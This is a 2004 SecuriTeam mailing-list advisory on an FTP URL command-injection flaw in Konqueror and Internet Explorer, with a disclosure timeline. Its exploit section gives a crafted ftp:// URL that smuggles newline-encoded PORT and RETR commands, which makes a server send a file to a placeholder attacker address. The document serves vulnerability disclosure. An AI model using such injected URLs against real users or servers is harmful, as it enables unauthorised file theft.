

[UNIX] FTP Client Command Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0084.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/22/04

To: list@securiteam.com

Date: 22 Dec 2004 15:33:16 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

FTP Client Command Injection

SUMMARY

Konqueror is "a very multifuncional HTTP browser included on KDE base package. Like others browsers it can use more protocols, for example FTP. This application is usually used to navigate through the file systems".

Both Konqueror and Internet Explorer suffer from command injection vulnerability that can be exploited by an especially formed FTP URL.

DETAILS

Vulnerable Systems:

- * Konqueror version 3.3.1 and prior
- * Internet Explorer 5.0 (3700.1000)
- * Internet Explorer 6.0 (2800.1106)

In order to access to a server FTP using Internet Explorer you write "<ftp://ftpuser:ftppass@server/directory>" in the directories' bar and then the navigator connects to the server and executes the following commands (and other that have omitted because they are not important for this stuff).

USER ftpuser

Securiteam: [UNIX] FTP Client Command Injection

```
PASS ftppass  
CWD /directory/
```

The security problem resides in which is possible to inject FTP commands on the URL adding at the code %0a followed by your injected commands. If you do "<ftp://ftpuser:ftppass@server/directory%0asomecommand%0a>" it will execute those commands.

```
USER ftpuser  
PASS ftppass  
CWD /directory  
somecommand
```

The last line is an erroneous command, but it's not a problem because 'somecommand' has already been executed.

Exploit:

You need to deceive a user to go to your URL and then to introduce a valid user and password. So yes! The exploitation also requires to apply social engineering. Then you can do a lot of things using this bug like create or delete files and directories, but probably, the most interesting thing is to download files. Its possible to do that using this URL;

```
ftp://server/%0aPORT%20a.b.c.d.e.f%0aRETR%20/file
```

Then the server will connect to a.b.c.d and port e,f (see FTP RFC to translate the port number) and will send the file data.

Timeline:

01/12/2004 – Bug discovered
02/12/2004 – KDE developers contacted
03/12/2004 – Fast developers reply
03/12/2004 – IE also affected, so 7a69ezine decided to publish the bug
05/12/2004 – Advisor released

ADDITIONAL INFORMATION

The information has been provided by <<mailto:ripe@7a69ezine.org>> Albert Puigsech Galicia.

The original article can be found at:

<<http://www.7a69ezine.org/node/view/169>>

<http://www.7a69ezine.org/node/view/169>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [UNIX] FTP Client Command Injection

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.